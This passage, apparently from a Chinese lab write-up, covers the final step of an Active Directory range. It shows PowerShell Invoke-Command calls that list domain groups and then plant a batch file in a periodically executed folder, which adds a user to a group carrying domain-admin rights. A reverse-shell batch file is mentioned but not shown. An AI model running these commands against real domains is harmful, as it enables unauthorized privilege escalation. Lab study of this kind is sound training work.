没问题 现在等一会就行了 等的期间我也在想后面的路 如果说这个域控确实无法通攻击机 那么是否我能将这台DC01当作跳板呢 但是我不确定的是 这台DC01的IP 像是再容器里 我不清楚域控能否访问到这台DC01 即使我把防火墙关了 我也无法验证 而且每5分钟执行一次 只为验证有点麻烦 我在结束的时候在验证把

我等了许久 一直没有任何反应 还是看wp把
查看管理员组 还是根据开头的word文档提示 Lois虽然不是域控管理员 但是它可以将其他用户加入网站管理员
1
| Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

就是这个组 接着看信息
1
| Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

这个介绍说 只有紧急情况才会将人添加进去 他可以访问域控管理员组 根据他的说法 网站管理员组直接被添加了域控管理员组成员 也就是加入这个组的用户 将会和域控管理员有一样的权限 而Lois可以把用户加进去 可以拼接命令 将当前用户awallace加进去就行
1
2
| Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\3.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat '\program files\keepmeon\3.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|
后续一直盯着看就行了
1
| Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|
接着开始等 我有点怀疑他是不是5分钟运行一次 因为我的1.bat没有生成netcat.exe文件 很大原因就是因为网络不通 才不会生成 为了验证我的猜想 也是我想看看他到底运行每 我再写入一个文件
1
| Invoke-Command -ScriptBlock { Set-Content -Path 'C:\program files\keepmeon\4.bat' -Value 'echo "1" > 1.txt' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|
我在之前利用>在写入文件报错了 但是也得验证才行

等了很久 还是没有一点反应 我将靶机关了再开一次 然后重复之前的步骤

netcat生成了 代表执行成功了

依然没有结果 但是实际上

已经可以访问flag了
结束
目前先不关靶机 毕竟我写入了一个反弹shell的bat文件 再等等 如果不行再关 这个靶场非常非常难 做完之后在回顾发现貌似可能也就那样 但是在漫无目的的利用的时候 完全没这种思路 就比如有些目录 得需要一直翻 攻击链证据链都很完善 但是它太难了 并且这次尝试中没有搭建任何隧道 全是靠内部原生命令横向的 但是也没那么麻烦 只要拿到DC01的权限就能一直横 这个靶场作为学习非常有用
到此为止还有3个靶场 但是我不打算做下去了 一方面是已经报名了OSCP 该去打labs了 还有一方面是做了这么多越到后面越感觉吃力 一个靶场我可能得需要一到两天 我打算先去试试OSCP labs的难度